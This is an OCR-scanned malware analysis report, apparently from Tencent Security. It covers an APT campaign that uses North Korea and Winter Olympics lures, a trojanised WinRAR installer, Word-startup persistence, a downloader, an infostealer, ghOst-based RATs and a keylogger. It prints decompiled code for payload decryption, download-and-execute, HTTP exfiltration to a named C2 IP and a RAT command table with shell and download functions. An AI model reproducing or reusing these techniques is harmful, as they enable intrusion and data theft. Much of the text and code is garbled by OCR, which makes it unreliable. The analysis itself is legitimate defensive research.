https://ve—m/tags/sexy-girl -sex

Bl 35: HithxpBEEE R

FrEZREROBERR AT R

a) 1§ payload RfnZS 47 mHE PE iR+,

b) RESUFRINEBETRMEE, payload TR RCA BERRM

0 FRERLSESERNTIFE, BARS APl REERNSER,

d) X payload f5, BIBZRFIRSZGEINEINIT,

A, BATAKIXLFEATEIEERINE, WEFEA—IHE, HIRHEFHER

RKEMBETFELRIEIHIFHE:
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North Eorea Moranbong girl band leader heads Olympic inspectlon team -

21 Janmary 2018

Share this with Facebook Share this with Twitter Share this with Messenger GShare this with Email
Share

Hyon Song-wal, head of the North Eorea' s Samjivon Orchestra, arrive at the Gangneuns Art Centre to
check the verues for its proposed art performances at Pyveongchang 2018 Winter Olvmpics on 21 Jarmuary
2018 in Gangneung, South Korealmagse copyrightGETTY INAGES

Image caption

Hyon Song-wol, pictured centre, was the star attraction during the visit to South Eorea

A& North Korean delegation has arrived in South Korea for a landmark wisit to inspect cultural venues
for next month’ s Winter Olympics.

It is headed by Hyon Song-wol, leader of the popular Moranbong girl band and a big celebrity in the
secretive state.

North Eorea agreed to send a delegation to the games after the first high-level bilateral talks in
two vears.

The decision is seen as a diplomatic breakthroush after months of tension over its nuclear weapons
programme.

North v South: A history of sport, bombs and diplomacy

Reality Check: How good is North Korea at sport?

Local media showed the North Eorean delegation crossing the heavily—fortified border on a bus before
arriving in the South Eorean capital, Seoul.

A coach carrying the North Korean delegation arrives at Grand Unification Bridge, near the DNZ, in
Paju, South Eorea on 21 January 2018Imaze copyrizhtREUTERS

Imagze caption

The delegation arrived at the Grand Unification Bridege, from where they crossed into the South

Hyon Song-wal is greeted by a South Eorean official as she arrives at the South’ s CIQ (Customs,
Immigration and Quarantine), just south of the demilitarised zone separating the two Koreas, in Paju,
South Korea, on 21 January 2018Image copyrightBEEUTERS

Image caption

The games are seen as a way of easing tension between the North and South

Surrounded by hundreds of police officers, they then boarded a train to the eastern city of
Gangneuns.

But it was on Hyon Sonz-wol that South Korea' s cameras were focused.

She and her 10-member Moranbong band are the glamorous face of North EKorea — and have been described
as Pyongvang' s answer to the Spice Girls.

Often seen wearing minlskirts and high heels, thev perform a mixture of Western—stvle pop and
patriotic songs - in a style seen as quaintly provincial by South Eoreans, AFP news agency reports.
M= Hvon was once rumoured to have been a former girlfriend of the leader Eim Jong—un, although this
has been dismissed by North Eorea watchers.

She will lead the l40-member Samjivon art troupe, which is due to give two performances - one in
Seoul and another in Gangneuns - during the Olympics.

North Eorea s cheerleading charm offensive -

m

36: HAHELREERFEREERS

BIEER, ZHERE 2018418 22 8:
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TLP: WHITE

NEWS | #x

Fm BE  AEFE | RKE e B WE BB SHME | MR BBCHEMEW

HAHER KX B AR ERBIRN L

[ O 20184 15 228 ] <& HE

REUTERS

« BESENEXEESR, ARXENELIEBER A E——HHTHKZH

AERFESRLMEAXZR LR, WERL7IAZATREARSE, TEAIMH2X1
&Ko

&l 37: BBC fRERIMTFAHEHIEFERIFE

MARIIFZFERER S —WEHFA (fa8c53431746d9ccc550f75f15b14b97) ,

HimxHEAN 1R 268:
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Basic Properties ©

MD5 fa8c53431746d9ccc550f75f15b14b97

SHA-1 27cd78484baf12b2ca992f1cca6f0c6a41661bba

SHA-256 b75b354181d5482b3befadf34f66086617220c46cf099e950ffa917bb3d02f51
Vhash 015046551d157019zd111z1fz

Authentihash  07fc2536eb094d979e34dc9196¢c41f1afeb85505929da61d005e39692a1ef8cb
Imphash f2c13cf3cabd1d3f3ce903edb4ad9deb

SSDEEP 3072:s5LiI0AVDz04uG6xClsgx0ff25Np78g6YyXFM:GLSDzDuGcCIXzNpwb
File type Win32 EXE

Magic PE32 executable for MS Windows (GUI) Intel 80386 32-bit

File size 112 KB (114688 bytes)

Portable Executable Info ©

Header

Target Machine Intel 386 or later processors and compatible processors
Compilation Timestamp  2018-01-26 09:44:57

Entry Point 11564

Contained Sections 4

38: WEHAEBRIRIER(ER

AILARINZ AL F R ST e,

o AT : {pk Winrar, Teamview, IEMESEE MG

i o . =P e
€ S|
39: RAEBEFENER

WEfTE, BRTRERANREXGIL, SR ghOst AS:
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- | 9127b5f9dacdlca5a753083c30c
e &8 c1225.exe
| s
T WinRAR 5.30 =] = ==

Copyright © 1993-2015
by Alexander Roshal

Destination folder

: \Program Files WinRAR| - Browse...

This is a trial version of WinRAR archiver. Anyone may use it during a
test period of 40 days.

PLEASE CAREFULLY READ THE LICENSE AGREEMENT BELOW
BEFORE CONTINUING THE INSTALLATION PROCESS.

END USER LICENSE AGREEMENT

The following agreement regarding RAR (and its Windows version - WinRAR)
archiver - referred to as "software” - is made between win.rar GmbH - referred
to as "licensor” - and anyone who is installing, accessing or in any other

a 21
If you agree to the END USER LICEMSE AGREEMENT (EULA), please dick [Install]. If you do not
agree, please dick [Cancel].

] [ sl | [ concal | ) l

40: FIERBAIR TR R

BRCU4RZ: CA\WINDOWS\system32\dilmtxce32.dll

MM EERERIIES, BHJ9 HXvsEoal s:

if ( 24 88 *1lpBuffera

{ o

=1

is6 = "H';

17 = T

18 = "w';

! vl9 = "'s';

[ 2@¢ = "E’;

E w2l = T@ans

L WEZ = @

w23 = "1°;

I r2d = r_rj

i 25 = "gh
i 26 = @3

sub_483p40(&v16, strlen(&v16)});
i sub_483838(1pBuffera, nNumberCfBytesToWrite);
' i

w13 = sub 4@2818(al, lpBuffera, nNumberOfBytesTolWrite);

41: =AY RCA BB
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SR ghOst D7, FEXEHMAFEIR.

3.2.2 BEXEHKBE

BIEMNE—NKERHE S (a5a0bc689c1eadb1c1336c1cde9990a4) , HEREZER N
\AppData\Roaming\Microsoft\Word\STARTUP\winhelp.wll, iz B=x/3 word FI/55)
X3, = word BEIRIEHE, SBENINEIZER THIRIRN G, EIZFEHBMH9 office

RIS EREFE.

BIRAYR, FAFARRNEMRXRAISAE M, B EARNZEH M GEIT T E—Ea
BN (RABRSNGHERFARREE S IURBIEREEXEE word BafBR) | iF

REMNBAEREIZERN. FMIBRMIANBE—SEEETRRBRRAITREEEX,

iz wil XHN2E, BXatllEss

FE%USERPROFILE%\PolicyDefinitions\MMCSnapins.exe 3Z{4:

4 LRy ;';.:_li_"___-_'-_.-_._:::_._:: 1

2{

3 DWORD result; // =a»

4  MWCHAR Buffer; // [esp+tldh] [ebp-224h]

CPPEH_RECORD ms_excj // [esp+228h]

ms_exc.registration.TrylLevel = @;

8 memset(&Buffer, @, 8x184u};

9 GetEnvironmentVariableW(L"USERPROFILE", &Buffer, ©xledu);
18| wcscat s(&Buffer, 6x184u, L"\\PolicyDefinitions\\"};
11 if ( !'PathFileExistsW(&Buffer) )

12 CreateDirectoryl(BBuffer, @);
13 wecscat s(&Buffer, 8x10du, L"MMCSnapins.exe™};

4 esult = GetFileAttributesW(&Buffer);
15 if [ result == -1 )

16 {

17 ~esult = sub 10001248 (&Buffer);
18 if [ result )

19 result = sub 18881188 (RBuffer);

28}

21 return result;
22
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42 NSRS

NERAFEN N FRHREAL:

5 w1l = lpFileName;

6 memset(&oduleName, @, @x208u);

7 memset(&Buffer, 8, @xledu);

8 GetEnvironmentVariableW(L"APPDATA", &Buffer, @x1@4du};

9 wcscat_s(&Buffer, #xl84u, L"\\Microsoft\\Word\\STARTUP\\winhelp.wll™};

]

if ( GetFileAttributesuW{&Buffer) I= -1 }
sub_ 16601538 (8x268u, AModuleMame, &Buffer);

1

2 w2 = CreateFileW{vl, @x40000000u, 2u, 6, 2u, OxBOu, @);
3 if ( v2 == (HANDLE)-1 )

- return 8;

5 w4 = GetModuleHandleW(&ModuleName);

6B v5 = vid;

7 w6 = FindResourceMW(v4, (LPCWSTR}@x6S, L"dat"});

8 hResInfo = v6G;

gl af-f e )

a goto LABEL 9;

7 = LoadResource(vS, v6);

25 aF )

3 goto LABEL 9;

4 vB = SizeofResource(vs, hResInfo};

5 LockResource(v7};

6 Af [ !'WriteFile(v2, v7, vB, SNumberOfBytesWritten, @) )
7|

3 FreeResource(v7};

o LABEL 9:

8 CloseHandle(v2};

1 return @;

L I B I I I o T o O T B e = B e T =]

fd

i
FreeResource(v7);
CloseHandle(v2);
return 1;

ahad
[l

43: BRCUHRRS

befEmEsNERBER Ink 34, SLMEFITENEE5) MMCSnapins.exe:

¥
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1int _ thiscall sub_1@881188(void *this)

24

3 int vl; /f esi

4 intle v3; [/ [esp+bh] [ebp-28Eh]

S WCHAR pszPath i/ [esp+8h] [ebp-28Ch]

6 char v5; [/ [esp+sh] [ebp-284ah]

8 wvis= (lnt}_nlsj

9 pszPath =

18 memset(&v5, G Bx286u);

11 SHGetSpecialFolderPathW(@®, &pszFath, 7, @);
12 f [ *(&s3 + lstrlenW(&pszPath)) == 92 )
13 {
14 lstrcatW(&pszPath, L"Accessorise.lnk™);
15}
16 else
17| {
18 lstrcatW{&pszPath, L"\\"};
19 lstrcatW(&pszPath, L"Accessorise.lnk"};
20 }
21 return sub 18801008((int)}&pszPath, vl};
22}

44: RERBENG

FERLAY MMCSnapins.exe (0eled07bae97d8b1cc4dcfe3d56ea3ee) , SChrtE A—

downloader, M{H={TEES MR winhelp.wll, KR

1int '\ﬂClJ.l-Il I

24

3 HANDLE wve; f/f eax

4. DWORD ThreadId; // [esp+eh] [ebp-21&h]

5. WCHAR Buffer; // [esp+dh] [ebp-28Ch]

&

7 memset(&Buffer, 8, @x184u);

8 GetEnvironmentVariableW(L"APPDATA", &Buffer, @xledu);
2 wcscat_s(&Buffer, @xledu, L"\\Microsoft\\Word\\STARTUP\\winhelp.wll"};
¢ if [ GetFileAttributesW(&Buffer) != -1 )}

11 DeleteFileW(&Buffer);

12 ThreadId = @;

13 w2 = CreateThread(@, 9, Startfddress, @, 0, &ThreadId);
14 WaitForSingleObject{v®, OxFFFFFFFF);

15 return 8;

16}

45: RIS

FERT =435
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1 WORD _ stdcall StartAddress(LPVOID lpThreadParameter)
2{

3 HMODULE vl1; // =ax

4 HMODULE v2; /f/ esi

5 FARPROC w3; // =ax
7 vl = LoadLibraryW(L"KERMEL32"};
B 2= wl;

e

gl ¥ GetProcAddress({vl, "Sleep"};

18 (({void (_ stdecall *)(signed int))v3){150008);
11| FreeLibrary(v2};

12 sub_4@2F40();

13 return 1;

5]

E 46: FERHIATHRD

BliE%temp%\kb345203.dat 314, BlIEE%USERPROFILE%\DigitalLockers\B®, BT

IR N EMRE RIS S

- ~3
ms_exc.registration.Trylevel = 8;

sub_4@2e48( (void *)1);
GetEnvironmentVariableW(L"USERPROFILE", &Buffer, @x164u);
GetEnvironmentVariableW(L"TEMP", &v18, Ox164u);

wcscat s{&Buffer, @xl@du, L"\\DigitallLockersi\");

if ( !PathFileExistsW(&Buffer} }

BRB R
W IS R Y R S SR

b

CreateDirectoryW(&Buffer, @);

48  wsprintfW(&FileNams, L"¥1s\\X5", &v18, Bunk_416486);// "C:\DOCUME~L\ADMINI~1\LOCALS~1\Temp\kb345283.dat"
43 byte 416828 = 8;

sub_48185@();

51 w@ = sub 481928((WCHAR *)&v16);

vl = va 1= 8;

byte 416828 = V2 != @;

T
=]

Ao
ol b

E 47: fIEEMERAE

iniA) C2, BfekiX HEAD IBRIENIME 2R HmE, MEAIE GETiEKTH, H id J9iE

#HEXFYIS, http://180.150.227.24/view/index.php?id=860016C5:

HEAD /view/index.php HTTP/1.1

User-Agent: Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 6.1)
Host: 188.158.227._24

Content-Length: ©

Cache-Control: no-cache

48: %1% HEAD &K
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© GET /view/index.php?id=868816C5 HTTP/1.1\r\n
User-Agent: Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 6.1)\r\n
Host: 1808.158.227.24%r\n
Cache-Control: no-cachelr\n
Connection: Keep-Aliwve\rin
Yryn
[Full request URI: http://180.150.227.24/view/index.php?id=868016C5]
[HTTP request 5/1@]
[Prev request in frame: 233]
[Response in frame: 243]
[Next reguest in frame: 244]

E49: Kix GET 5K T

TEEEIETFHIE kb345203.dat 324

v37 = ((int (_ stdcall *)(woid *, const wchar_t *, WCHAR *, const wchar_t *, woid *, DWORD, unsigned int, _DWORD))}HttpCpenRequesti)(
';..)
L"GET",
&viE,
L"HTTP/1.1",
&unk_4128E4,

2,
BxBa0RAB0A,
2);
6 = (void *)sub_4@82A%0(v37);
if { e )
i
LABEL_27:
CloseHandle (hObject);
iff v3s)

operator delete[](v35);
goto LABEL 29;

}
9 = Createfilew(lpFileliane, 8x48060000u, 1u, 8, 2u, @x86u, @);// "C:\DOCUME~L\ADMINI~1\LOCALS~1\Temp'kb345263.dat"
hob3j v 3
if ( v9 != (HANDLE)-1 )
vG = operator new[](@x2886u);
if ( v6 )
while ( 1 )
{
do
{

OfBytesToWrite = @;

memset( =i,. 8, B8x2888u);

while ( !((int (__stdcall *)(int, weid *, signed int, DWORD *))InternetReadFile)(

if ( InNumbe
break;
v6 = (wodd *)WriteFile(vo, v6, nNumberOfBytesTolWrite, &NumberOfByteskWritten, @);
if (-tve }
goto LABEL_27;

50: FHTRECKAHURS

EEEY kb345203.dat 34, FaEBEL:
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2{

3 dimt w2; S ebx

4 WCHAR v4; //f [esp+eh] [ebp-28Ch]
& char v5; S/ [esp+2h] [ebp-284&h]
&
7 owvd = 83
& memset{&vS, @, 9x286u);
g if { ! stricmp(byte 4165CE, "Yes") )
19 {
11 v2 = atoi(byte 41662C);
12 wsprintfuW(&v4, L"¥1s¥s5", =2, &unk 4165F@);
13 sub_4@82BAG(&v4, (char *)&unk 416618, (const wvoid *}al, v2);
14}
15 return 1;
16}

51: RENMAEIE

{£F RC4 R 8, WFRIR15EIRY PE SXHHAT:

49 lpBuffer = &ve[a4];

58 RC4_4@12CA((int)&vG[a4], (int)ve, v7);
51 vB = CreatefileW(lpFileNams, @x40060800u, @, @, 2u, 6@x80u, 8);
52 vl = vE;

53 if ( wB != (HANDLE)-1 )

54 {

55 WriteFile(v8, lpBuffer; v7, &NumberOfBytesWritten, @);
56 CloseHandle{v3);

57 }

58 HeapFree(hHeap, 8, vE);

59 vd = lpFileName;

68

61 V28 = 8;

62 memset(&v21, 8, @x183u);

63 DstBuf = @;

54 w23 = 8;

65 v24 = @;

66 va5 = @;

67 v2E6 = @;

68 w27 = @8;

69 v28 = @8;

Ja vad = @;

7] w38 = @;

72 w3l = @3

73 w32 = 8;

74 sub_a@2B5@(v4, &20);

75 vie = fopen(&vze, "rb");
76 sub_4e1eee();
77 fclose(vie);

78 _itoa s{(int)hHeap, &DstBuf, @x24u, 16};

7 if { ! _stricmp(&DstBuf, v1G) )

e {

81 memset(&startupInfo, @, Bx4d4u);

2 StartupInfo.wShowhWindow = @;

a3 StartupInfo.dwFlags = 1;

4 ProcessInformation.hProcess = @;

85 ProcessInformation.hThread = 8;

86 ProcessInformation.dwProcessId = @;

7 ProcessInformation.dwThreadld = 6;

88 v1ll = lpFileName;

29 if ( !CreateProcessW(®, (LPWSTR)lpFileName, ©, @, @, @, 8, @, &StartupInfo, &ProcessInformation} }
98 DeleteFileW(vll);

91 CloseHandle(ProcessInformation.hProcess);
a2 CloseHandle(ProcessInformation.hThread);
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B 52: ENNITHE

THERNASHES 314, BIKThgENT:

1. %USERPROFILE%\DigitalLockers\wimercs.exe
(65f0581d200935d0d1€969d87b6d1e6b) ,

REEH.,

T

GetEnvironmentVariableA("TEMP™,

Ea

79 infostealer A2, FBBFHFEEUY

TS, RN C#E. D&E. EENXHERER:

5 &Buffer, @x1@4u);
46 sprintf_s(&DstBuf, @x103u, "¥s‘\\AdobeARM.log", &Buff
47  sub_482ADB(&v22, (const char *)L"¥5\\AdobeARM.log" Fer
48 sub 402ADB(&5rc, (const char *)L"¥S\\AdobeARM.piz", &Bufter
49 sub 402ADB(&FileName, (const char *)L"%S\\AdobeARM.en", &Buffer);
52 memset(&v26, @, @x400u); A dir c:\ fs&dir d:\ /s&dir e:\ fsBdir T:\ /s
51 sub_401858(" kxu?pu.'uBaB:.f8HG4yPNuk3}(quDdeaxR4d 94CiMa@YzVeW7hoASHjQ418SBc”™, (int)&vae, 62);
52 if ( RunCmd_408160@(&DstBuf) )
53
54 if ( sub_483798(&.22) )
55 {
56 RC4 4@13?@(&5 , &FileName);
57 memset(& -’b' ", @, 8x288u);
8 MultiBy teTc JideChar(@xFDE9u, @, w2, strlen(v2), &WideCharstr, strlen(v2)};
54 memset(& (28, @, Ox288u);
6@ LJJ.T'_LBJ+ETG| fideChar (BKFDEQUJ 9, v3, strlen(v3), &v28, strlen(v3));
61 v5 = CreateFileW(&FileName, Ox300B0G00, @, 0, 3u, 0, @);
52 vA = y5;
63 if ( w5 = (HANDLE)-1 )}
64 {
65 11 = GetFilesize(vs, @);
66 ve = malloc(@xleaeeou);
67 5 1z
68 7 = @;
63 do
7@ {
1 memset(vG, B, 9x100880u);
72 ReadFile(v4, v6, @x1900008u, &Numberd ead, @);
73 HttpPost_4@1F1@((uns cnﬂd int)&v2a, 6, (int)8wideCharStr, NumberOfBytesRead, v9};
74 7 += Mum -_'__—'_"‘ ytesRead
75 +Hudg
76 Sleep(1880u);
7 }
78 while ( 11 };:
79 b )
30 fr‘ee( A H
81 J
82 3
a3
84 CloseHandle{v4);
53: FEIEREENE
SRENZEIRO(S 2R RCA INE :
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w7 = CreateFilel(a2, 6x18000000u, @, @, 2u, @xB6u, ©);
if ( v7 != (HANDLE)-1 )

if ( CryptAcquireContextW(&phProv, @, L"Microsoft Enhanced Cryptographic Provider v1.8", 1lu; @) )
if ( CryptCreateHash(phProv, CALG MD5, @, @, &phHash) )

if { CryptHashData(phHash, &pbData, @x40u, @) && CryptDeriveKey(phProv, CALG_RC4, phHash, Bx860000u, &phkey) )

i
v8 = GetProcessHeap();
v8 = HeapAlloc(vg, Bu, @x3F@u);
if e
1
do
1
if ( !ReadFile(ve, w9, ©x3E3u, &NumberOfBytesRead, @) )
break;
if ( NumberOfBytesRead ¢ Ox3EZ )}
Final 1z
if ( CryptDecrypt(phKey, ©, Final, @, (BYTE &Number0fBytesRead) )
WriteFile(v7, v9, NumberOfBytesRead, &NumberOfBytesRead, @);
while { !Final };

v1l@ = GetProcessHeap();
HeapFree(vle, @, v3);
gryptDestroyKey(the;);
CryptDestroyHash (phHash);
CryptReleaseContext(phProv, @);
glcseHandle(v?);

}
CloseHandle(vE);

54: NNEIRENENS BT

BINZERIS M 163 C2 &, 180.150.227.248&/do/index.php?id=ssss:

w36 = strlen(v52);

[ i -~ = ]

186 if ( vie )
187
188 = dword_42316C(v18, L"POST", w36, @, @, @, @);
189 vl2 = vll;
1398 if i vil )
191 1
192 vl7 = 120608,
193 1, 3, &v17, 4)
94 B 2, v4E, -1, @x20000000)
a5 && dword_42317@(v1Z, L"Referer: http://www.google.com/doc/documents™, -1, @x20888860)
96 &8 dword_423170(
97 viz,
98 L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
a9 =,
aa ex2ea00008 )
a1 && dword_42317@(v] L"Accept-Language: zh-cn,zh;q=8.8,en-us;q=08.5,en;q=0.3", -1, B8x20606060)
82 && dword_42317@(v12, L"Accept-Encoding: gzip, deflate™, -1, 9x20000000) )
3 {
4 sub AB2AB@(v13, v52, "--®SA\rAn", Moo mmm oo 674917220832265") ;
5 sub 402AB8(v14, &v58, "\rin--Es\ri\n", "---------mmmmmm e 67431722832265");
6 sub_4@824B8(v w53, "Wwhn--Fs--\r\n", "--------mmmm e 67491722832265");
7
8
9
e
1
2
3
4
5

L T T N B O s I R S B I el el el ol

if ( dword 423168(vl v36 + strlen(v49)} + strlen{v53) + a4 + 42, 8}
8% dword_423164( W
8% dword_423164( v4d, strlen(v49), &v41)
& dword_423164( "Content-Type: application/octet-stream\ri\n\r\n", 42, &v41)
1 28 dword_423164( v23, ad, Bvdl
1 8% dword_423164( v53, strlen(vs3}, &v4l)
1 &8 dword 423168( @)
1 28 dword_423158( &u35) )

55: LEERAE
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2\

%USERPROFILE%\DigitalLockers\aitagent.exe

(46c6e0c51391b07f5f2eafd983d8624e) , 3 ghOst RAT #&{4h.

ZARSRZ ghOst IREBEXMIR, RIRBRMizan SIS, B ERETER

DREATE It :

s{nitd; E-‘s:l )

7 q

8 case Bu:

9 InterlockedExchange((volatile LONG *)(this
break;

L1 case lu:

L2 case @x12u:
L3 case @x1Cu:
L4 case @x24u:
case @x25u:

this + 4 * *(_DWORD *)(t}
3 + 40816);

case @x2Au:
21 case @x2Bu:
2 case @x2Cu:

case @x2Du:
case @x2Eu:
25 case @x2Fu:
26 case @x38u:
case @x31u:
case @x3Bu:
case @x3Fu:
case @x4eu:
case @xdlu:
case @x4su:
case @xd49u:

34 *(_Du this + 4 * *(_DWORD *)(this
i5 (L ) =) (VI + 40016);

36 Sleep(@x64u);

37 break;

33 default:

39 return;

w o}

1}

+ 48824), 1);

iz + 48016) + 16) = sub_4@4ACe(e, @, (int)sub_483C5e, (int)(az

+ 48916) + 16) = sub_484ACE(@, @, (int)sub_4@3C8@, (int)(a2

56: RAT &k {ig

+1), @, @, @);

+1), 8, 8, 1};
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lvoid * cdecl sub_463B38(LPVOID lpMem, int a2, int a3, int a4)

21

1
1
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36}

[T w T N o IR W 5 R S Y]

A B R NN NEENENDLNN.

a8 @

L N NN

wvoid *result; // eax
*y5; ff esi

void
void
char
char
char

{__cdecl *ve)(int, int, int); // eax

v7; ff [esp+8h] [ebp-Ch]
vB; f/ [esp+9h] [ebp-Bh]
v3; ff [esp+Ah] [ebp-&h]
[esp+Bh] [ebp-5h]
[esp+Ch] [ebp-8h]

char v18; ff
char vii; ff
char v12; f/f
char v13; ff
char vid; f/f
char vis; [/
vy = "P";
8= "1"s

vi = "n";
vie = "g";
w1l g T
vi2 ) et
v13 ‘M';
vid = "e’;
vl5 = 8;
result =

vS = result;

if ([ result )

1

L

[
[
[

e
e
e

[esp+Dh] [ebp-7h]

sp+Eh] [ebp-6h]
sp+Fh] [ebp-5h]
sp+18h] [ebp-4h]

(void *)sub_ae3e@7e(lptem);

vE = (void (__cdecl *){int, int, int)})sub 4638D8(result, 8v7)};
vB(a2, a3, ad);

result = (void *)sub_483968(u5);

1
if (

result = (void *)sub_482028(1pMem);

1pMem )

return result;

Bl 57: InEdEHE3
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1void *_cdecl sub_4@3BB@(LPVOID lpMem, int a2, int a3, int a4,

2
void *result;
7

void *

-
i

char v3; //
char vl@;
char v1l;
char v12;

51

V73 -
void (_cdecl *vB)(int, int, dint, int, int); // eax

3

4

5

B

7

8

9

18| char v13; [e

11 char vl14; [es

12| char v15; [es

13| char vi6; // [es

14 char v17; [/ [esp

15 char v18; // [es]

16 char v19; /7 [es

17

18 w9 = 'P";

19 gl il

28 i e

21 B

22 . FalH

23 iy |

24 M’ ;

25 'e';

26 YERE

27 o "l

28

29

38

31

32

33 void (  cdecl *)(inmt, int, int, int,
34 a3, a4, a5, ab);
35 = (wvoid *)sub_4e83968(v7);
36

37 1ptem )

38 1t = (void *)sub_482D020(1lpMem);
39  return result;
48}

58: DNEFEEHHD

3. %USERPROFILE%\DigitalLockers\winecvs.exe

int

a5,

int

.an

int))sub_4838D8(result, &vo);

(bdfc03e3c33e914c716b4e88b7b62015) , F—/NIHEES=EMH RAT AS,

BE245 59 NetworkEnterprise NERE:

Bl IEmERTO
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L signed int wmain()
2{
3| HANDLE w8; [/ esi
4 signed int result; // eax
5 struct hostent *v2; // esi
6 struct hostent *v3; [/ [esptih] [ebp-19
7 struct WsAData WSAData; // [esp+sh] h]
o
9  memset(byte 458808, 8, Bx2BCu);
18 sub_417316();
11 v8 = CreateMutexW(@, 9, L"MetworkEnterprise™);
12 if ( GetlLastError() == 183 )
13| f
14 CloseHandle(v@);
15 result = -13
16}
17  else
18 {
19 if ( wWsAStartup(exl@lu, BWSAData) )
20 v2 = w3;
21 else
22 v2 = gethostbyname(name);
23 WsACleanup();
24 dword_ 450898 = v2 != @;
25 sub_417308();
26 result = 8;
27}
28 return result;
29}
B 59: fl@EREND
BREESUT:

6080&wiki.xxxx.com&69.172.75.148 &Frame&2000&AdobePatch&Software\Micro

soft\Windows\CurrentVersion\RunOnce

BRINREIN T
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Lsigned int _ userpurge sub_410C99@<eax:>( DWORD *alfi<eax>, int a2, unsigned _ inte4 a3, _DWORD *a4)
2
3| *al = a&:

4 if { a3 <= 8x2D )
5 1
6 switch { ( DWORD}a3 )
7 i
8 case 2:
g *al = NULL_48FDAG;
16 break;
11 case 4:
12 *al = sub_4125E8;
13 break;
14 case 52
15 *al = sub 412758; /1 R
16 break;
17 case 8:
13 *21 = sub_413D80; / HEBRFE
19 break;
28 case @xC:
21 *21 = sub_413730; /0 MRS
22 break;
23 case @xE:
24 *al = sub 412AC8; /P BRER (RHEE . EHEEE)
25 break;
26 case @xl2:
27 *zl = sub_413138; // cmdshell
28 break;
29 case @x13:
36 *al = sub_413280;
31 break;
32 case @x15:
33 *31 = sub_4135C8; /1 BRAEEHRE
34 break;
35 case @xl7:
36 *al = NULL_48FDAG;
=y break;
38 case @x24:
39 *a3l = sub 412C28; /1 WERRIRS
48 break;
41 case @x27:
42 *3l = NULL_48FDAS;
43 break;
e case @x28:
45 *21 = sub_411540; /1 B EEIC
46 break;
47 case @x29:
48 *al = sub 411F@8; /Mo TVERTT
49 break;
58 case @x2A:
i *al = sub_411AD@; /1 FEIER
52 break;
23 case @x2B:
o4 *al = sub_414450; /f deletefile
55 break;
56 case @x2C:
57 *z1 = sub_414246; // Winexec
58 break;
59 case @x2D:
68 *al = sub_4143608; // download url
61 break;
62 default:
63 break;
64 }
85 1}
66| -if ( I*al }
67 return 8;
68| *a4 = al;
69 return 1;
78}

60: RAT Ihgeftis
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3.3 =5

BRI BLHFEERER RCA IEEL, MEERINAY payload, ##E FEEIRAIL
HF. F(IRIUERY payload RIEZEBIRMEAREIMHITEN, {BR downloader T
[EISRAYSHRZ AR SIR4E8 9 Higaisakora.0, BERTERRZ payload & {EANZEE/
XsDAe0601, HA1EEE T —(pRJEAEBINARINT (HENEBRET—)

a2054fff1fe1db66264f2f1a36ca19bb 2017-12-28 03:52:32 ILoveVas
342a0a6b527d3c56a1c248155ad3eef3 2018-01-26 09:39:45 ULoveVas
9127b5f9dacd0ca5a753083c50cc1225 2018-08-16 13:23:02 HXvsEoal s
91b7b9928d20054181caa24f5b9aa839 2018-12-20 00:39:04 ssoveVDV
€a296441165b0c7f27f0ecac084df21a 2019-01-17 01:51:12 ssove0117
0def22c282f8e154f290d3e97e774671 2019-04-10 12:13:18 dOsfdmmmku
982a0d301204dadf70428bf007d4258d 2019-04-11 14:18:10 ssove0311
c454d7902ba3959335b0ef8e074b50a2 2026-12-31 13:49:30 (#EW) XsDAe0601

x1: X4, fwiFEAE), ZREXIERE

AJLAEER, BERERIZN, BRBENAHTTEN. BREE EFREHEMAIMEDLL

R, BREMBEITEE—BEHITEN.

3.4 Hth 33

BANRERRZEN EAMAER MUY, BIERI%BR TR TS EEREE)

NIE. BAUT:

3.4.1 RERiCF=R

14 BioCredProv.exe (6€95c5c01f94ef7154e30b4b23e81b36)

Bl IEmERTO 43 /73



fsfZ=E
TLP WHITE Tencent Security

BYIREREHFICRZE. BOER

F%USERPROFILE%\CompatTel\IEUpdateCache.dat:

nt _ stdcall wiWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)

w R
B

HANDLE wd; // edi
int result; // eax
HACCEL vb6; // esi
WNDCLASSEXW v7; // [e
struct tagMsG Msg;
WCHAR Filename; // [

oo s

setUnhandledExceptionFilter(TopLevelExceptionFilter);
v4 = CreateMutexid(@, @, L"UUID CS1245 OPS642");
f ( GetLastError() == 183 )

Fi
8
@

i
{ I
CloseHandle(v4);
result = -1;

}

else
18 {
19 GetModuleFileNamew (@, &Filename, @x184u);
28 sub_482258(&F 1 =):
21 GetEnvironmentVariableW(L"USERPROFILE", &Dst, @x184u);
22 wcscat_s(&Dst, exledu, L™\\CompatTeli\");
23 if ( !PathFile sW(&Dst) )
24 J(&Dst, @);
25 sub_486608( (cor char *)L"&s\\IEUpdateCache.dat", &Dst);
26 sub_48176@();
27 sub_4@1€98() ;
28 sub_4e1E96();
29 sub_482518();
38 hhk = SetWindowsHookExw(13, fn, @, @);
31 if ( 'hhk )}
32 goto LABEL_15;
33 /7.chSize = 48;
34 style = 3;
35 v7.1pfaWndProc = sub_4@2ED@;

E 61: FHEICREEAEG
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29  1Parama =

3@ w3 o= 1;

31 if ( (HWND)dword_438AB8 != GetForegroundWindow() )
32 {

34 memset (&0 uf, 8, 8xledu);

35 v = groundiindow();

36 dword_438AB8 = (int)wvi;

37 W5 = wdj

38 w6 = GetWindowTextLengthW(v4);

39 if ( v6 <= ex1e3 )

48 GetWindowTextA(vS, &String, v6 + 1);
41 ime = _time64(0);

42 7 = _ctime64(&T H

43 w8 = strtok(v7, "\n");

44 sprintf_s(&DstBuf, @x184u, "¥s", vi);
45 if ( !stremp(&String, "Task Switching”)} )
46

47 v3 = 8;

48 1

43 else

5@

51 sub_4066B0({&5tring, &v27, "\n--[%s|Time:¥s]--\n", &String, &DstBuf);
52 w18 = 15;

53 '

54

55 °;

56 x 7, strlen(&v27));

57 sub_40232@8(vi3, vl4, v15, v16, v17, v
58 ¥

sal 3

68 if ( (wParam == 256 || wParam == 260) &% v3 )
6l

62

63

65 = 17

66 = 162

67 163

68 = 16

69 161

7a = 168

62: SIS
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Tencent Security

rdata:Be42723a
rdata:Be42723C aPause
.rdata:B808427244 aScrolllock
.rdata: 868427251
rdata:Be427254 aPrint
.rdata:B8842725C alp
.rdata: 88427261
.rdata: 808427264 aDown
.rdata: 88427268
.rdata:B0842726C aleft
.rdata: 86427273
.rdata:@e427274 aRight
rdata:B0842727C aEscape
.rdata:B88427285
